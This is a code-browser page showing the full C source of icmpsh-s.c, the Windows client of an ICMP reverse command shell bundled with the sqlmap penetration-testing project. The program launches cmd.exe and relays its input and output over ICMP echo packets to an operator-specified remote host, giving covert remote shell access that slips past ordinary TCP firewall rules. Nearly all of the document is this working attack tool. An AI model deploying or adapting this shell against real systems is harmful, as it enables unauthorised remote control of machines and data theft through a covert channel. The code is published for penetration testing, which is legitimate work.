Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/extra/icmpsh/icmpsh-s.c
2992 views
1
/*
2
* icmpsh - simple icmp command shell
3
* Copyright (c) 2010, Nico Leidecker <[email protected]>
4
* This program is free software: you can redistribute it and/or modify
5
* it under the terms of the GNU General Public License as published by
6
* the Free Software Foundation, either version 3 of the License, or
7
* (at your option) any later version.
8
*
9
* This program is distributed in the hope that it will be useful,
10
* but WITHOUT ANY WARRANTY; without even the implied warranty of
11
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
* GNU General Public License for more details.
13
*
14
* You should have received a copy of the GNU General Public License
15
* along with this program. If not, see <http://www.gnu.org/licenses/>.
16
*/
17
18
19
#include <stdio.h>
20
#include <stdlib.h>
21
#include <winsock2.h>
22
#include <windows.h>
23
#include <winsock2.h>
24
#include <iphlpapi.h>
25
26
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
27
28
#define STATUS_OK 0
29
#define STATUS_SINGLE 1
30
#define STATUS_PROCESS_NOT_CREATED 2
31
32
#define TRANSFER_SUCCESS 1
33
#define TRANSFER_FAILURE 0
34
35
#define DEFAULT_TIMEOUT 3000
36
#define DEFAULT_DELAY 200
37
#define DEFAULT_MAX_BLANKS 10
38
#define DEFAULT_MAX_DATA_SIZE 64
39
40
FARPROC icmp_create, icmp_send, to_ip;
41
42
int verbose = 0;
43
44
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
45
{
46
SECURITY_ATTRIBUTES sattr;
47
STARTUPINFOA si;
48
HANDLE in_read, out_write;
49
50
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
51
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
52
53
// create communication pipes
54
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
55
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
56
sattr.bInheritHandle = TRUE;
57
sattr.lpSecurityDescriptor = NULL;
58
59
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
60
return STATUS_PROCESS_NOT_CREATED;
61
}
62
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
63
return STATUS_PROCESS_NOT_CREATED;
64
}
65
66
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
67
return STATUS_PROCESS_NOT_CREATED;
68
}
69
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
70
return STATUS_PROCESS_NOT_CREATED;
71
}
72
73
// spawn process
74
memset(&si, 0x00, sizeof(STARTUPINFO));
75
si.cb = sizeof(STARTUPINFO);
76
si.hStdError = out_write;
77
si.hStdOutput = out_write;
78
si.hStdInput = in_read;
79
si.dwFlags |= STARTF_USESTDHANDLES;
80
81
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
82
return STATUS_PROCESS_NOT_CREATED;
83
}
84
85
CloseHandle(out_write);
86
CloseHandle(in_read);
87
88
return STATUS_OK;
89
}
90
91
void usage(char *path)
92
{
93
printf("%s [options] -t target\n", path);
94
printf("options:\n");
95
printf(" -t host host ip address to send ping requests to\n");
96
printf(" -r send a single test icmp request and then quit\n");
97
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
98
printf(" -o milliseconds timeout in milliseconds\n");
99
printf(" -h this screen\n");
100
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
101
printf(" before quitting\n");
102
printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
103
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
104
printf("increase the size (-s) of the data buffer\n");
105
}
106
107
void create_icmp_channel(HANDLE *icmp_chan)
108
{
109
// create icmp file
110
*icmp_chan = (HANDLE) icmp_create();
111
}
112
113
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
114
{
115
int rs;
116
char *temp_in_buf;
117
int nbytes;
118
119
PICMP_ECHO_REPLY echo_reply;
120
121
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
122
if (!temp_in_buf) {
123
return TRANSFER_FAILURE;
124
}
125
126
// send data to remote host
127
rs = icmp_send(
128
icmp_chan,
129
target,
130
out_buf,
131
out_buf_size,
132
NULL,
133
temp_in_buf,
134
max_in_data_size + ICMP_HEADERS_SIZE,
135
timeout);
136
137
// check received data
138
if (rs > 0) {
139
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
140
if (echo_reply->DataSize > max_in_data_size) {
141
nbytes = max_in_data_size;
142
} else {
143
nbytes = echo_reply->DataSize;
144
}
145
memcpy(in_buf, echo_reply->Data, nbytes);
146
*in_buf_size = nbytes;
147
148
free(temp_in_buf);
149
return TRANSFER_SUCCESS;
150
}
151
152
free(temp_in_buf);
153
154
return TRANSFER_FAILURE;
155
}
156
157
int load_deps()
158
{
159
HMODULE lib;
160
161
lib = LoadLibraryA("ws2_32.dll");
162
if (lib != NULL) {
163
to_ip = GetProcAddress(lib, "inet_addr");
164
if (!to_ip) {
165
return 0;
166
}
167
}
168
169
lib = LoadLibraryA("iphlpapi.dll");
170
if (lib != NULL) {
171
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
172
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
173
if (icmp_create && icmp_send) {
174
return 1;
175
}
176
}
177
178
lib = LoadLibraryA("ICMP.DLL");
179
if (lib != NULL) {
180
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
181
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
182
if (icmp_create && icmp_send) {
183
return 1;
184
}
185
}
186
187
printf("failed to load functions (%u)", GetLastError());
188
189
return 0;
190
}
191
int main(int argc, char **argv)
192
{
193
int opt;
194
char *target;
195
unsigned int delay, timeout;
196
unsigned int ip_addr;
197
HANDLE pipe_read, pipe_write;
198
HANDLE icmp_chan;
199
unsigned char *in_buf, *out_buf;
200
unsigned int in_buf_size, out_buf_size;
201
DWORD rs;
202
int blanks, max_blanks;
203
PROCESS_INFORMATION pi;
204
int status;
205
unsigned int max_data_size;
206
207
// set defaults
208
target = 0;
209
timeout = DEFAULT_TIMEOUT;
210
delay = DEFAULT_DELAY;
211
max_blanks = DEFAULT_MAX_BLANKS;
212
max_data_size = DEFAULT_MAX_DATA_SIZE;
213
214
status = STATUS_OK;
215
if (!load_deps()) {
216
printf("failed to load ICMP library\n");
217
return -1;
218
}
219
220
// parse command line options
221
for (opt = 1; opt < argc; opt++) {
222
if (argv[opt][0] == '-') {
223
switch(argv[opt][1]) {
224
case 'h':
225
usage(*argv);
226
return 0;
227
case 't':
228
if (opt + 1 < argc) {
229
target = argv[opt + 1];
230
}
231
break;
232
case 'd':
233
if (opt + 1 < argc) {
234
delay = atol(argv[opt + 1]);
235
}
236
break;
237
case 'o':
238
if (opt + 1 < argc) {
239
timeout = atol(argv[opt + 1]);
240
}
241
break;
242
case 'r':
243
status = STATUS_SINGLE;
244
break;
245
case 'b':
246
if (opt + 1 < argc) {
247
max_blanks = atol(argv[opt + 1]);
248
}
249
break;
250
case 's':
251
if (opt + 1 < argc) {
252
max_data_size = atol(argv[opt + 1]);
253
}
254
break;
255
default:
256
printf("unrecognized option -%c\n", argv[1][0]);
257
usage(*argv);
258
return -1;
259
}
260
}
261
}
262
263
if (!target) {
264
printf("you need to specify a host with -t. Try -h for more options\n");
265
return -1;
266
}
267
ip_addr = to_ip(target);
268
269
// don't spawn a shell if we're only sending a single test request
270
if (status != STATUS_SINGLE) {
271
status = spawn_shell(&pi, &pipe_read, &pipe_write);
272
}
273
274
// create icmp channel
275
create_icmp_channel(&icmp_chan);
276
if (icmp_chan == INVALID_HANDLE_VALUE) {
277
printf("unable to create ICMP file: %u\n", GetLastError());
278
return -1;
279
}
280
281
// allocate transfer buffers
282
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
283
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
284
if (!in_buf || !out_buf) {
285
printf("failed to allocate memory for transfer buffers\n");
286
return -1;
287
}
288
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
289
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
290
291
// sending/receiving loop
292
blanks = 0;
293
do {
294
295
switch(status) {
296
case STATUS_SINGLE:
297
// reply with a static string
298
out_buf_size = sprintf(out_buf, "Test1234\n");
299
break;
300
case STATUS_PROCESS_NOT_CREATED:
301
// reply with error message
302
out_buf_size = sprintf(out_buf, "Process was not created\n");
303
break;
304
default:
305
// read data from process via pipe
306
out_buf_size = 0;
307
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
308
if (out_buf_size > 0) {
309
out_buf_size = 0;
310
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
311
if (!rs && GetLastError() != ERROR_IO_PENDING) {
312
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
313
}
314
}
315
} else {
316
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
317
}
318
break;
319
}
320
321
// send request/receive response
322
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
323
if (status == STATUS_OK) {
324
// write data from response back into pipe
325
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
326
}
327
blanks = 0;
328
} else {
329
// no reply received or error occured
330
blanks++;
331
}
332
333
// wait between requests
334
Sleep(delay);
335
336
} while (status == STATUS_OK && blanks < max_blanks);
337
338
if (status == STATUS_OK) {
339
TerminateProcess(pi.hProcess, 0);
340
}
341
342
return 0;
343
}
344
345
346